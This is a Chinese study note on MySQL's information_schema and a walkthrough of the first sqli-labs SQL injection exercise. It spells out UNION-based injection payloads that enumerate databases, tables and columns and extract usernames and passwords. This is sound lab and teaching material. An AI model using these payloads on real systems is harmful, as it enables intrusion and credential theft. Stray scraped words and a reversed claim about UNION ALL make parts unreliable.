03 最大的數據庫 information_schema介紹以及sql注入第一題題解

整理人:木頭sql

第一次整理日期:2019.04.05數據庫

最後整理日期:2019.05.27函數

首先 插入個博客(csdn)url

https://blog.csdn.net/slip_666/article/details/79039742spa

//裏面有具體的information_schema數據庫的結構描述以及如何sql注入的簡單總結.net

 直接copy過來 方便查看 //註明了出處 不算侵權吧      Ok,copy以下3d

-----------------------------------------------------------------orm

1.MySQL相關:blog

在MySQL 5+版本後,加入了information_schema這個庫,該庫存放了全部數據庫的信息排序

information_schema.columns包含全部表的字段

字段

table_schema 數據庫名

table_name 表名

column_name 列名

information_schema.tables包含全部庫的表名

字段

table_schema 數據庫名

table_name 表名

 

information_schema.schemata包含全部數據庫的名

字段

schema_name 數據庫名

 

2.有回顯的SQL注入:

 

執行SQL查詢,其結果能回顯到頁面中,那麼可直接進行有回顯的SQL注入

查詢語句

$id=$_GET['id'];

SELECT * FROM test WHERE id='$id' LIMIT 0,1;

 

判斷字段數

?id=1' ORDER BY 3--+

判斷顯示位

?id=-1' UNION SELECT 1,2,3--+

利用函數得到信息

?id=-1 UNION SELECT 1,(version()),3--+

爆庫

 

?id=-1' UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3--+ //用LIMIT來定位查詢,一個一個爆數據庫

 

?id=-1' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--+ //用group_concat()實現一個顯示位爆出該字段下全部記錄

 

爆表

 

?id=-1' UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),3--+

 

爆字段

 

?id=-1' UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),3--+

 

爆數據

 

?id=-1' UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3--+

---------------------

做者:斯利普

來源:CSDN

原文:https://blog.csdn.net/slip_666/article/details/79039742

版權聲明:本文爲博主原創文章,轉載請附上博文連接!

 

 

 ------------------------------------------

 而後sql注入第一題題解

1.在url後加入 ?id=1

 

 

而後 加一個  '

提交到 sql 中的 1’在通過 sql 語句構造後造成 '1'' LIMIT 0,1

 報錯了,即存在sql注入

 如何把多的單引號去掉呢

 嘗試 'or 1=1--+

此時sql語句就成了select ******where id='1'or 1=1--+'limit 0,1

 從源代碼中狗形成的sql語句爲SELECT * FROM users WHERE id=’1’or 1=1--+ LIMIT 0,1

 結果顯示正常

2.利用order by //order by對前面的數據進行排序 (這裏有三列數據,超過3即會報錯)

 

//?id=1'order by 4--+ 報錯

 

//即證實有三個字段

 

3.而後 union聯合注入

 

//?id=-1'union select 1,2,3 --+

 

//介紹下此外,此處介紹 union 聯合注入,union 的做用是將兩個 sql 語句進行聯合。Union

 

能夠從下面的例子中能夠看出,強調一點:

 union 先後的兩個 sql 語句的選擇列數要相同才能夠。

Union all 與 union 的區別是增長了去重的功能。

 

咱們這裏根據上述 background 的知識,進行information_schema 知識的應用。

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,2--+

當 id 的數據在數據庫中不存在時,(此時咱們能夠 id=-1,兩個 sql 語句進行聯合操做時,

當前一個語句選擇的內容爲空,咱們這裏就將後面的語句的內容顯示出來)

此處前臺頁面返回了咱們構造的 union 的數據。

 

4.爆數據庫

 

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

 此時的 sql 語句爲 SELECT * FROM users WHERE id=’-1’union select1,group_concat(schema_name),3 from information_schema.schemata--+ LIMIT 0,1

 

 

 

 

5.爆security數據表

? id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

 此時的 sql 語句爲 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’--+ LIMIT 0,1

 

6.爆users表的列

? id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

 此時的 sql 語句爲 SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’--+ LIMIT 0,1

 

 

7.爆數據

?id=-1'union select 1,username,password from users where id=2--+

 此時的 sql 語句爲 SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=2--+ LIMIT 0,1s

 

相關文章
相關標籤/搜索